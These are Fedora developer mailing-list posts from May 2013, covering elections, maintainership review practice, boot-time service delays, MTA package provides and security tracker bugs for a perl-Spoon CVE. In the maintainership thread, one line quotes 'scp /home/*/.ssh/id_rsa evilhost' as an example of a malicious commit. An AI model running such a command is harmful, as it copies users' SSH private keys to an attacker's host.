(23:59:59 UTC). This election cycle will fill the following seats for a one-year period: * Fedora Board: 3 elected seats (2 additional seats will be appointed according to schedule) * FESCo (Fedora Engineering Steering Committee): 5 elected seats * FAmSCo (Fedora Ambassadors Steering Committee): 4 elected seats Full information about the committee elections, including the elections schedule, and links to where one may nominate, can be seen here: https://fedoraproject.org/wiki/Elections Additionally, the elections questionnaire is NOW OPEN for adding questions which will be posed to candidates for the listed groups. Following the closing of the questionnaire, candidates will be asked to answer questions relevant to the position for which they are seeking election. Questions may be added until May 23, 2013 (you guessed it - 23:59:59 UTC). Questions should be added here: https://fedoraproject.org/wiki/Elections/Questionnaire Further information regarding each body's election follows below. As always, I encourage everyone to consider serving in an elected seat, or to encourage others that they feel would represent Fedora well to run for election. Finally: I'd like to send a special thank-you to Ankur Sinha for once again helping to coordinate elections and the elections schedule. Your work here is greatly appreciated! == Fedora Board == This election cycle will fill three elected seats for the Board (seats E3, E4, and E5). Two appointed seats (A3 and A4) will also be filled this cycle. https://fedoraproject.org/wiki/Board_nominations https://fedoraproject.org/wiki/Board/Elections https://fedoraproject.org/wiki/Board/History == FESCo == This cycle will see candidates elected to five open seats in the Fedora Engineering Steering Committee. For information on the nominations and elections, see: https://fedoraproject.org/wiki/FESCo_election_policy https://fedoraproject.org/wiki/Development/SteeringCommittee/Nominations == FAmSCo == This election cycle will see candidates elected to fill four open seats on the Fedora Ambassadors Steering Committee. For more information, refer to: https://fedoraproject.org/wiki/FAmSCo_election_rules https://fedoraproject.org/wiki/FAmSCo_elections https://fedoraproject.org/wiki/FAmSCo_nominations Cheers, -Robyn ___ devel-announce mailing list devel-annou...@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel-announce -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro mike.catanz...@gmail.com wrote: Well the open model has already been tried and proven in openSUSE, and they're still using it because it actually works really well. There aren't usually any issues regarding overlap of work, though admittedly that community is a smaller than Fedora's. Well, I think our model is working pretty well too. ;) Nothing is perfect for sure... It's hard to get away with scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed by a small group of maintainers responsible for a collection of packages. Sure, we have a scm-commits list as well. I don't read every commit, but I do skim them. I can think of lots of times people pointed out issues they saw in the commit messages. I encourage folks to subscribe and read commit emails. I certainly think Fedora could benefit a lot from at least a slightly more collaborative approach. For example, in openSUSE when there is a problem with an really easy fix, I make a bugzilla report, fix it, my request gets accepted (or not) a few days later, and problem solved. In Fedora when there is a problem with an easy fix, I make a bugzilla report, it gets assigned to someone awesome enough to have 200-800 other open bugs to deal with, and nothing happens for two months until a provenpackager stumbles upon the bug. You can even now also mention in your bug that you are a packager and would be willing to co-maintain. Not everyone would be interested, but I suspect a lot of maintainers would be happy for the help and would add you to make your change. We already use git, so the simple solution with minimal change to the status quo is to leave the maintainership model as-is and add pull requests. (That said I'm not advocating this as I have zero Fedora packaging experience; I'm just trying to get this conversation off the ground.) Well, you can already do this, but perhaps not as automated and nice as github. You can attach a patch to a bug, no? kevin signature.asc Description: PGP signature -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On 05/14/2013 09:09 PM, Kevin Fenzi wrote: You can even now also mention in your bug that you are a packager and would be willing to co-maintain. Not everyone would be interested, but I suspect a lot of maintainers would be happy for the help and would add you to make your change Yes assuming they see it. If I am not responding to a bug within a few days, it is possibly because I haven't caught on my bug mails and sometimes I am weeks behind. I am happier if the person requesting the change just do it especially if it is a obvious or easy change and I wouldn't mind at all but that is only possible now if that person is a provenpackager. We used to allow every packager to commit changes but that didn't work out very well in the past. Perhaps it is time to revisit it though the github model is very very popular and I suspect adopting something like that would bring more drive by contributions. Rahul -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
MTA virtual provides craziness
We now appear to have *four* virtual provides for mail servers: MTA smtpd smtpdaemon server(smtp) This seems a tad excessive. exim and postfix provide all four. sendmail provides MTA, smtpdaemon and server(smtp). Nothing else provides any of them (though if we could just agree on what any of them meant or what they were for, probably esmtp and ssmtp might want to). Nothing requires 'smtpd'. One thing each requires each of the others, just to make things nice and complicated: [root@adam blivet (master %)]# repoquery --whatrequires MTA ratbox-services-0:1.2.1-8.fc19.x86_64 [root@adam blivet (master %)]# repoquery --whatrequires server(smtp) sagator-core-0:1.2.3-6.fc19.noarch [root@adam blivet (master %)]# repoquery --whatrequires smtpdaemon vacation-0:1.2.7.1-3.fc19.x86_64 Good lord. Anyone feel like injecting any sanity? Anyone have a long enough memory to know what the hell each of the different provides is meant for? I seem to vaguely recall that 'MTA' and 'smtpdaemon' were meant to express subtly different things, but I can't remember any details. -- Adam Williamson Fedora QA Community Monkey IRC: adamw | Twitter: AdamW_Fedora | identi.ca: adamwfedora http://www.happyassassin.net -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On Tue, 2013-05-14 at 18:26 -0600, Chris Murphy wrote: But the sendmail issue is a distraction from the bigger question I was asking which is at what threshold are service startup times reasonable vs not reasonable and are their maintainers looking at this or do testers need to file bugs on them? It seems like a futile question. All services are not created equal. Some services just touch one file and then they're done; some services are massively complex bits of the system. All parts of system startup once initramfs is loaded are systemd units, ultimately. So it seems like a pointless exercise to try and define a single cut off point for 'When Is A Service Taking Too Long'. This is ultimately performance optimization, and performance optimization is rarely as simple as 'X takes 10 seconds and we know all Xs should take 5 or less, fix it!' Later in your mail you made, I think, a better effort at a starting point: What's initiating my grip is that it's taking upwards of a minute to be able to ssh into the system. I get a login prompt on the system's display itself, before I'm able to ssh into it, which is the opposite of my expectation. So there are the actual issues you're trying to address: 1. Why can I log in locally before I can ssh in? 2. Can the amount of time before I am able to ssh in be reduced? I think you need to start over with those questions, and take a broader approach at trying to find out the answers. 'systemd-analyze blame' is a reasonable starting point, but if you just list out the results and basically say can I send these numbers to maintainers and demand they fix their shit?, the answer is probably no. The more useful next step would be to look at the big numbers, and try to verify, first of all, which of them actually delay your practical interaction with the system. As we've established, sendmail's one minute delay when the hostname is not fully qualified looks ugly, but does not actually delay perceived startup at all, because neither local nor remote login require sendmail.service to be up. So you should check that issue for all the other services with long start times: does this service actually need to be up before I can log in / ssh in? If not, you can ignore it, for the purposes of the question. Once you have the list of services with significant start times which delay interaction for you, the next step is to investigate why they take a long time to start up. It might be inevitable, or the result of a local configuration issue that you can change, or it might be a bug. You really just need to take a look at the service file, see what it does, see if you can figure out specifically what part(s) of that service's startup process are slow, and if there's anything that can be done to improve it. Like I said, performance optimization is rarely simple. You're usually dealing with a very complex system which inevitably means you need to be isolating the places where you can make a practical difference, and evaluating whether that's possible. -- Adam Williamson Fedora QA Community Monkey IRC: adamw | Twitter: AdamW_Fedora | identi.ca: adamwfedora http://www.happyassassin.net -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote: Sure, we have a scm-commits list as well. I don't read every commit, but I do skim them. I can think of lots of times people pointed out issues they saw in the commit messages. Well I mean, someone actually has to press the OK button, or the change doesn't happen. Sometimes that can cause delays, at least for big undermanned projects (GNOME in openSUSE isn't too popular). But usually it works really well. I doubt that model would be accepted in Fedora, though. Different cultures. You can even now also mention in your bug that you are a packager and would be willing to co-maintain. Not everyone would be interested, but I suspect a lot of maintainers would be happy for the help and would add you to make your change. Yes, but I usually just want to submit the one fix and not co-maintain -- we all help out as we're able. :) Plus I mainly use GNOME programs, and GNOME maintainership in Fedora seems to be something of an exclusive cabel anyway (can't complain -- Fedora has the best GNOME, period). We already use git, so the simple solution with minimal change to the status quo is to leave the maintainership model as-is and add pull requests. (That said I'm not advocating this as I have zero Fedora packaging experience; I'm just trying to get this conversation off the ground.) Well, you can already do this, but perhaps not as automated and nice as github. You can attach a patch to a bug, no? kevin Yes, but that doesn't work well when the person assigned to your bug has 800 other bugs to deal with. I count four people with that many. And Red Hat Bugzilla is actually the *best* open source bugzilla I use, very clean and well-organized, and seems to work great when maintainers have few packages, but this is slightly broken. I've seen this program is completely broken, here's an 8-line patch sit for two months; this program segfaults, here is an upstream patch sit about that long; this package is missing one essential Requires sit for three. The big name GNOME packagers are awesome, but not enough to deal with that many bugs, that many emails. But 20 pull requests where all that needs to be done is press OK... that's more manageable. (That's not the only solution, of course; more Bugzilla-foo would work just as well. Emails to this list of unreviewed patches more than two weeks old, for example.) Just dumping thoughts. Happy Tuesday! signature.asc Description: This is a digitally signed message part -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 2013-05-14 at 20:56 -0500, Michael Catanzaro wrote: On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote: Plus I mainly use GNOME programs, and GNOME maintainership in Fedora seems to be something of an exclusive cabel anyway (can't complain -- Fedora has the best GNOME, period). That's just not true. I once submitted a patch to the spec file of the (now retired) gnome-games package, and I was asked to become a co-maintainer so that I could push it myself. I didn't even offer to co-maintain, it was offered to me. Even the approveacls permission. That doesn't seem like an exclusive cabel to me. -- Mathieu -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On May 14, 2013, at 7:54 PM, Adam Williamson awill...@redhat.com wrote: As we've established, sendmail's one minute delay when the hostname is not fully qualified looks ugly, but does not actually delay perceived startup at all, because neither local nor remote login require sendmail.service to be up. With sendmail enabled, time to ssh success is ~40 seconds. With 'systemctl mask sendmail', time to ssh success is ~18 seconds. So the sendmail delay does actually delay startup as it relates to remote login. The fully qualified domain name isn't something I'm compelled to use on other platforms so I don't understand the advantage of it being needed on Fedora. And if I use it, I end up with worse problems in that more services have long delays rather than just sendmail and sm-client, and I can no longer do ssh chris@f19q.local but rather I have to type chris@f19qlocaldomain. This is the same behavior on F18, with similar delays. It's the same on baremetal, qemu, and virtualbox. And it's the same with two linksys routers, with three different firmware bases tested. The only two things I change from the stock installation is set the hostname, and 'systemctl enable sshd' and 'systemctl start sshd'. That's it. Once you have the list of services with significant start times which delay interaction for you, the next step is to investigate why they take a long time to start up. It might be inevitable, or the result of a local configuration issue that you can change, or it might be a bug. You really just need to take a look at the service file, see what it does, see if you can figure out specifically what part(s) of that service's startup process are slow, and if there's anything that can be done to improve it. Is there a way to get more verbosity, selectively per service, to find what what it's doing or waiting on when it has a significant start time. And what's a significant start time? 2 seconds? 20 seconds? Like I said, performance optimization is rarely simple. You're usually dealing with a very complex system which inevitably means you need to be isolating the places where you can make a practical difference, and evaluating whether that's possible. Well it is relatively easy to just mask sendmail and disable sm-client, especially seeing as I don't need an MTA running. Even if there are good reasons for one being installed by default, I really doubt the majority of Fedora users benefit from it being enabled by default. Chris Murphy -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On Tue, 2013-05-14 at 15:51 -0600, Chris Murphy wrote: But firewalld goes from 7 seconds to 18 seconds? Why? avahi-daemon, restorecond, all are an order of magnitude longer on F19 than F18. It's a 3+ minute userspace hit on the startup time where the kernel takes 1.9 seconds. Off hand this doesn't seem reasonable, especially sendmail. If the time can't be brought down by a lot, can it ship disabled by default? FWIW, I found your results here interesting, so I did a little test of my own. I did default DVD installs of F17, F18 and F19 Beta TC4, ran through firstboot, rebooted, then rebooted again and ran systemd-analyze (to let prelink kick in). Results are that F18's slightly slower than F17 and F19 is somewhat slower again. My numbers are way way faster than your numbers overall, though; VMs do seem to perform very quickly on this box for whatever reason. F17 --- Startup finished in 493ms (kernel) + 794ms (initramfs) + 2751ms (userspace) = 4039ms 446ms udev-settle.service 345ms NetworkManager.service 268ms systemd-logind.service 266ms ip6tables.service 262ms avahi-daemon.service 261ms iptables.service 173ms mcelog.service 170ms nfs-lock.service 145ms udev-trigger.service 136ms udev.service 135ms abrt-ccpp.service 122ms spice-vdagentd.service 117ms sendmail.service 114ms sm-client.service 110ms media.mount 106ms sys-kernel-debug.mount 105ms fedora-loadmodules.service 105ms dev-hugepages.mount 103ms dev-mqueue.mount 100ms sys-kernel-security.mount 98ms rsyslog.service 91ms remount-rootfs.service 90ms dbus.service 86ms sys-kernel-config.mount 84ms systemd-vconsole-setup.service 84ms acpid.service 77ms boot.mount 62ms systemd-tmpfiles-setup.service 56ms abrt-vmcore.service 53ms fedora-storage-init.service 53ms systemd-user-sessions.service 49ms sshd.service 47ms auditd.service 44ms systemd-remount-api-vfs.service 41ms colord.service 41ms systemd-sysctl.service 38ms bluetooth.service 32ms fedora-storage-init-late.service 28ms fedora-readonly.service 28ms lvm2-monitor.service 27ms systemd-readahead-collect.service 25ms colord-sane.service 18ms udisks2.service 18ms mdmonitor-takeover.service 13ms upower.service 13ms accounts-daemon.service 11ms rtkit-daemon.service 10ms rpcbind.service 9ms fedora-wait-storage.service F18 --- Startup finished in 521ms (kernel) + 616ms (initramfs) + 3348ms (userspace) = 4485ms 742ms iscsid.service 607ms firewalld.service 460ms systemd-udev-settle.service 372ms chronyd.service 369ms restorecond.service 321ms gdm.service 292ms abrt-ccpp.service 279ms ksmtuned.service 231ms accounts-daemon.service 208ms spice-vdagentd.service 208ms auditd.service 182ms systemd-logind.service 174ms avahi-daemon.service 167ms rtkit-daemon.service 163ms sm-client.service 116ms fedora-readonly.service 110ms fedora-loadmodules.service 109ms systemd-udev-trigger.service 104ms NetworkManager.service 101ms mcelog.service 95ms systemd-udevd.service 87ms sendmail.service 84ms sys-kernel-debug.mount 82ms dev-hugepages.mount 82ms dev-mqueue.mount 79ms iscsi.service 74ms systemd-remount-fs.service 64ms sys-kernel-config.mount 56ms systemd-vconsole-setup.service 52ms colord.service 42ms fedora-storage-init.service 41ms systemd-user-sessions.service 35ms udisks2.service 34ms ksm.service 34ms polkit.service 29ms systemd-tmpfiles-setup.service 28ms rpcbind.service 26ms bluetooth.service 24ms fedora-storage-init-late.service 23ms sshd.service 16ms abrt-vmcore.service 15ms upower.service 15ms lvm2-monitor.service 15ms systemd-sysctl.service 13ms systemd-modules-load.service 13ms mdmonitor-takeover.service 10ms boot.mount 4ms tmp.mount F19 --- Startup finished in 411ms (kernel) + 745ms (initrd) + 4.704s (userspace) = 5.861s 2.745s plymouth-quit-wait.service 2.389s NetworkManager-wait-online.service 1.078s accounts-daemon.service 1.026s firewalld.service 1.007s restorecond.service 987ms avahi-daemon.service 479ms iprupdate.service 385ms iprinit.service 356ms systemd-udev-settle.service 297ms ksmtuned.service 236ms spice-vdagentd.service 233ms abrt-ccpp.service 223ms plymouth-start.service 195ms gdm.service 185ms lvm2-monitor.service 171ms systemd-logind.service 169ms rtkit-daemon.service 160ms fedora-loadmodules.service 138ms sm-client.service 133ms systemd-udev-trigger.service 112ms iscsi.service 108ms systemd-fsck-root.service 106ms NetworkManager.service 97ms sshd.service 87ms
Re: when startup delays become bugs
On Tue, 2013-05-14 at 21:28 -0600, Chris Murphy wrote: As we've established, sendmail's one minute delay when the hostname is not fully qualified looks ugly, but does not actually delay perceived startup at all, because neither local nor remote login require sendmail.service to be up. With sendmail enabled, time to ssh success is ~40 seconds. With 'systemctl mask sendmail', time to ssh success is ~18 seconds. So the sendmail delay does actually delay startup as it relates to remote login. Ah, sorry, I thought you'd said otherwise, must have misread. The fully qualified domain name isn't something I'm compelled to use on other platforms so I don't understand the advantage of it being needed on Fedora. Do those 'other platforms' use sendmail? I don't think many other distros ship it by default any more. Debian installs exim by default, for instance. And if I use it, I end up with worse problems in that more services have long delays rather than just sendmail and sm-client, and I can no longer do ssh chris@f19q.local but rather I have to type chris@f19qlocaldomain. I know you said that, but as I wrote in the bug, I can't reproduce that at all. I use foo.localdomain hostnames, I don't have startup delays, and avahi foo.local still works. The only two things I change from the stock installation is set the hostname, and 'systemctl enable sshd' and 'systemctl start sshd'. That's it. Are you setting the hostname during installation or post-install? Once you have the list of services with significant start times which delay interaction for you, the next step is to investigate why they take a long time to start up. It might be inevitable, or the result of a local configuration issue that you can change, or it might be a bug. You really just need to take a look at the service file, see what it does, see if you can figure out specifically what part(s) of that service's startup process are slow, and if there's anything that can be done to improve it. Is there a way to get more verbosity, selectively per service, to find what what it's doing or waiting on when it has a significant start time. You can isolate messages relating to specific services with journalctl: journalctl _SYSTEMD_UNIT=foobar.service I don't think there's a universal 'verbosity' setting for systemd units, but I might be wrong, I don't know everything. And what's a significant start time? 2 seconds? 20 seconds? Well, like I said, that's an impossible question to give a single definitive answer to. It's your decision: you're the one doing performance optimization for your workload. This is a question you ask yourself, not someone else. What is a significant start time for you? Is it worth an uncertain amount of your investigation time to save yourself 200 seconds on each boot? 20 seconds? 2 seconds? 0.2 seconds? It's entirely up to you. Well it is relatively easy to just mask sendmail and disable sm-client, If you don't care about local mail delivery, why not just remove sendmail? Nothing requires it, it's just in the default package set. You can 'yum remove' it safely. especially seeing as I don't need an MTA running. Even if there are good reasons for one being installed by default, I really doubt the majority of Fedora users benefit from it being enabled by default. We have that argument every six months or so; it's probably about time. Some people still consider local mail delivery an essential function of a *nix system, and a mechanism that applications should be able to expect to be in place. I had a quick look earlier today and apparently still no-one's written a simple local delivery only MTA for this purpose, so if we want local mail delivery, we have to install either sendmail, postfix or exim by default. They're all big horking carrier-grade MTAs. Personally I'd find it more sensible to go with postfix than sendmail, but it's a marginal call; if you just want something that does basic local delivery with zero configuration it really doesn't matter much which one you pick. The differences between them affect more complex use cases, and if you're going to actually go and configure an MTA to do something more complex than default local mail delivery, then you can easily switch from sendmail to postfix or exim if you prefer them. I wouldn't hate it if we just said 'it's not 1976 any more, we're not going to provide local mail delivery by default, sorry', but both sides of the argument are reasonable positions. And I'd love it if someone wrote a basic local-only MTA for distros to include instead of a full-on MTA like sendmail or postfix, but I'm not volunteering to write it, so... -- Adam Williamson Fedora QA Community Monkey IRC: adamw | Twitter: AdamW_Fedora | identi.ca: adamwfedora http://www.happyassassin.net -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On May 14, 2013, at 9:53 PM, Adam Williamson awill...@redhat.com wrote: Do those 'other platforms' use sendmail? I don't think many other distros ship it by default any more. Debian installs exim by default, for instance. No. But this one does therefore it might be nice, since it's installed *and* enabled, if the necessary incantation of .localdomain were automatically added for the user if they use a single word hostname, rather than cause 2+ minute startup delays as a totally non-obvious consequence of their lack of knowledge. And if I use it, I end up with worse problems in that more services have long delays rather than just sendmail and sm-client, and I can no longer do ssh chris@f19q.local but rather I have to type chris@f19qlocaldomain. I know you said that, but as I wrote in the bug, I can't reproduce that at all. I use foo.localdomain hostnames, I don't have startup delays, and avahi foo.local still works. Yeah something hasn't ever been right for me with Fedora and mDNS. Fedora clients refuse to resolve each other, but will resolve to a Mac, and Macs find Fedoras. Example: [root@f19q ~]# scp kernel-3.10.0-0.rc1.git2.1.fc20.x86_64.rpm chris@ming.local:/users/chris/desktop/ ssh: Could not resolve hostname ming.local: Name or service not known lost connection The same VM I can ssh to from a Mac, from Fedora 18 I get: [root@f18slocaldomain ~]# ssh chris@f19q.local ssh: Could not resolve hostname f19q.local: Name or service not known It's supposedly zeroconf for a reason, so it shouldn't be this difficult. The only two things I change from the stock installation is set the hostname, and 'systemctl enable sshd' and 'systemctl start sshd'. That's it. Are you setting the hostname during installation or post-install? I've tried both, but when I rename it I'm using 'hostnamectl set-hostname XXX' as I'm not seeing anything obvious in Gnome that does this. Chris Murphy -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: when startup delays become bugs
On Tue, 2013-05-14 at 22:21 -0600, Chris Murphy wrote: On May 14, 2013, at 9:53 PM, Adam Williamson awill...@redhat.com wrote: Do those 'other platforms' use sendmail? I don't think many other distros ship it by default any more. Debian installs exim by default, for instance. No. But this one does therefore it might be nice, since it's installed *and* enabled, if the necessary incantation of .localdomain were automatically added for the user if they use a single word hostname, rather than cause 2+ minute startup delays as a totally non-obvious consequence of their lack of knowledge. And if I use it, I end up with worse problems in that more services have long delays rather than just sendmail and sm-client, and I can no longer do ssh chris@f19q.local but rather I have to type chris@f19qlocaldomain. I know you said that, but as I wrote in the bug, I can't reproduce that at all. I use foo.localdomain hostnames, I don't have startup delays, and avahi foo.local still works. Yeah something hasn't ever been right for me with Fedora and mDNS. Fedora clients refuse to resolve each other, but will resolve to a Mac, and Macs find Fedoras. Example: [root@f19q ~]# scp kernel-3.10.0-0.rc1.git2.1.fc20.x86_64.rpm chris@ming.local:/users/chris/desktop/ ssh: Could not resolve hostname ming.local: Name or service not known lost connection The same VM I can ssh to from a Mac, from Fedora 18 I get: [root@f18slocaldomain ~]# ssh chris@f19q.local ssh: Could not resolve hostname f19q.local: Name or service not known It's supposedly zeroconf for a reason, so it shouldn't be this difficult. The only two things I change from the stock installation is set the hostname, and 'systemctl enable sshd' and 'systemctl start sshd'. That's it. Are you setting the hostname during installation or post-install? I've tried both, but when I rename it I'm using 'hostnamectl set-hostname XXX' as I'm not seeing anything obvious in Gnome that does this. Chris Murphy $ host brain-Desktop brain-Desktop has address 192.168.254.254 but in desktop: $ hostnamectl Static hostname: brain-Desktop.localdomain All works well. -- Best Regards, Igor Gnatenko -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: MTA virtual provides craziness
On Tue, May 14, 2013 at 6:10 PM, Adam Williamson awill...@redhat.com wrote: We now appear to have *four* virtual provides for mail servers: MTA smtpd smtpdaemon server(smtp) This seems a tad excessive. exim and postfix provide all four. sendmail provides MTA, smtpdaemon and server(smtp). Nothing else provides any of them (though if we could just agree on what any of them meant or what they were for, probably esmtp and ssmtp might want to). Nothing requires 'smtpd'. One thing each requires each of the others, just to make things nice and complicated: [root@adam blivet (master %)]# repoquery --whatrequires MTA ratbox-services-0:1.2.1-8.fc19.x86_64 [root@adam blivet (master %)]# repoquery --whatrequires server(smtp) sagator-core-0:1.2.3-6.fc19.noarch [root@adam blivet (master %)]# repoquery --whatrequires smtpdaemon vacation-0:1.2.7.1-3.fc19.x86_64 Good lord. Anyone feel like injecting any sanity? Anyone have a long enough memory to know what the hell each of the different provides is meant for? I seem to vaguely recall that 'MTA' and 'smtpdaemon' were meant to express subtly different things, but I can't remember any details. Sanity: Switching to postfix? Dan -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
[Bug 962705] CVE-2012-6143 perl-Spoon (Spoon::Cookie): Do not run Storable::thaw() on arbitrary untrusted user input
Product: Security Response https://bugzilla.redhat.com/show_bug.cgi?id=962705 --- Comment #1 from Jan Lieskovsky jlies...@redhat.com --- This issue affects the versions of the perl-Spoon package, as shipped with Fedora release of 17, 18, and Fedora EPEL-6. Please schedule an update once there is final upstream patch available (doesn't seem to be as of right now). -- You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=lJuBQJ3uOza=cc_unsubscribe -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[Bug 962707] New: CVE-2012-6143 perl-Spoon (Spoon::Cookie): Do not run Storable::thaw() on arbitrary untrusted user input [fedora-all]
Product: Fedora https://bugzilla.redhat.com/show_bug.cgi?id=962707 Bug ID: 962707 Summary: CVE-2012-6143 perl-Spoon (Spoon::Cookie): Do not run Storable::thaw() on arbitrary untrusted user input [fedora-all] Product: Fedora Version: 18 Component: perl-Spoon Keywords: Security, SecurityTracking Severity: medium Priority: medium Assignee: st...@silug.org Reporter: jlies...@redhat.com QA Contact: extras...@fedoraproject.org CC: perl-devel@lists.fedoraproject.org, st...@silug.org Blocks: 962705 (CVE-2012-6143) Category: --- This is an automatically created tracking bug! It was created to ensure that one or more security vulnerabilities are fixed in affected versions of Fedora. For comments that are specific to the vulnerability please use bugs filed against the Security Response product referenced in the Blocks field. For more information see: http://fedoraproject.org/wiki/Security/TrackingBugs When creating a Bodhi update request, please use the bodhi submission link noted in the next comment(s). This will include the bug IDs of this tracking bug as well as the relevant top-level CVE bugs. Please also mention the CVE IDs being fixed in the RPM changelog and the Bodhi notes field when available. Please note: this issue affects multiple supported versions of Fedora. Only one tracking bug has been filed; please ensure that it is only closed when all affected versions are fixed. [bug automatically created by: add-tracking-bugs] -- You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=sacBo5AdsRa=cc_unsubscribe -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[Bug 962707] CVE-2012-6143 perl-Spoon (Spoon::Cookie): Do not run Storable::thaw() on arbitrary untrusted user input [fedora-all]
Product: Fedora https://bugzilla.redhat.com/show_bug.cgi?id=962707 --- Comment #1 from Jan Lieskovsky jlies...@redhat.com --- Please use the following update submission link to create the Bodhi request for this issue as it contains the top-level parent bug(s) as well as this tracking bug. This will ensure that all associated bugs get updated when new packages are pushed to stable. Please also ensure that the Close bugs when update is stable option remains checked. Bodhi update submission link: https://admin.fedoraproject.org/updates/new/?type_=securitybugs=962705,962707 -- You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=yGVvPU7q0Ha=cc_unsubscribe -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[Bug 962708] New: CVE-2012-6143 perl-Spoon (Spoon::Cookie): Do not run Storable::thaw() on arbitrary untrusted user input [epel-6]
Product: Fedora EPEL https://bugzilla.redhat.com/show_bug.cgi?id=962708 Bug ID: 962708 Summary: CVE-2012-6143 perl-Spoon (Spoon::Cookie): Do not run Storable::thaw() on arbitrary untrusted user input [epel-6] Product: Fedora EPEL Version: el6 Component: perl-Spoon Keywords: Security, SecurityTracking Severity: medium Priority: medium Assignee: st...@silug.org Reporter: jlies...@redhat.com QA Contact: extras...@fedoraproject.org CC: perl-devel@lists.fedoraproject.org, st...@silug.org Blocks: 962705 (CVE-2012-6143) Category: --- This is an automatically created tracking bug! It was created to ensure that one or more security vulnerabilities are fixed in affected versions of Fedora EPEL. For comments that are specific to the vulnerability please use bugs filed against the Security Response product referenced in the Blocks field. For more information see: http://fedoraproject.org/wiki/Security/TrackingBugs When creating a Bodhi update request, please use the bodhi submission link noted in the next comment(s). This will include the bug IDs of this tracking bug as well as the relevant top-level CVE bugs. Please also mention the CVE IDs being fixed in the RPM changelog and the Bodhi notes field when available. epel-6 tracking bug for perl-Spoon: see blocks bug list for full details of the security issue(s). [bug automatically created by: add-tracking-bugs] -- You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=OAeSnqF8OCa=cc_unsubscribe -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[Bug 962705] CVE-2012-6143 perl-Spoon (Spoon::Cookie): Do not run Storable::thaw() on arbitrary untrusted user input
Product: Security Response https://bugzilla.redhat.com/show_bug.cgi?id=962705 Jan Lieskovsky jlies...@redhat.com changed: What|Removed |Added Depends On||962707 Depends On||962708 --- Comment #2 from Jan Lieskovsky jlies...@redhat.com --- Created perl-Spoon tracking bugs for this issue Affects: fedora-all [bug 962707] Affects: epel-6 [bug 962708] -- You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=m8fGlaBifga=cc_unsubscribe -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
File Test-Kwalitee-1.06.tar.gz uploaded to lookaside cache by pghmcfc
A file has been added to the lookaside cache for perl-Test-Kwalitee: a9654f2e8b40af56c7979c5b0309f7b4 Test-Kwalitee-1.06.tar.gz -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[perl-Test-Kwalitee] Update to 1.06
commit 13fecb4773511768a9a37c629aab7e43dfa5ba62
Author: Paul Howarth p...@city-fan.org
Date: Tue May 14 11:28:04 2013 +0100
Update to 1.06
- New upstream release 1.06
- Restore previous behaviour of plan()ing in import, to unbreak some dists
that didn't follow the docs (which in this case is ok since it's a
horrible
idea for a Test module to plan itself anyway) (v1.05)
- More diagnostic data is printed when a test fails (CPAN RT#85107)
- Drop perl(Test::Builder) version requirement again
perl-Test-Kwalitee.spec | 12 ++--
sources |2 +-
2 files changed, 11 insertions(+), 3 deletions(-)
---
diff --git a/perl-Test-Kwalitee.spec b/perl-Test-Kwalitee.spec
index cf2e318..f44f26e 100644
--- a/perl-Test-Kwalitee.spec
+++ b/perl-Test-Kwalitee.spec
@@ -1,7 +1,7 @@
#TODO: BR: perl(Test::Pod::No404s) when available
Name: perl-Test-Kwalitee
-Version: 1.05
+Version: 1.06
Release: 1%{?dist}
Summary: Test the Kwalitee of a distribution before you release it
License: GPL+ or Artistic
@@ -15,7 +15,7 @@ BuildRequires:perl(ExtUtils::MakeMaker)
# Module
BuildRequires: perl(Cwd)
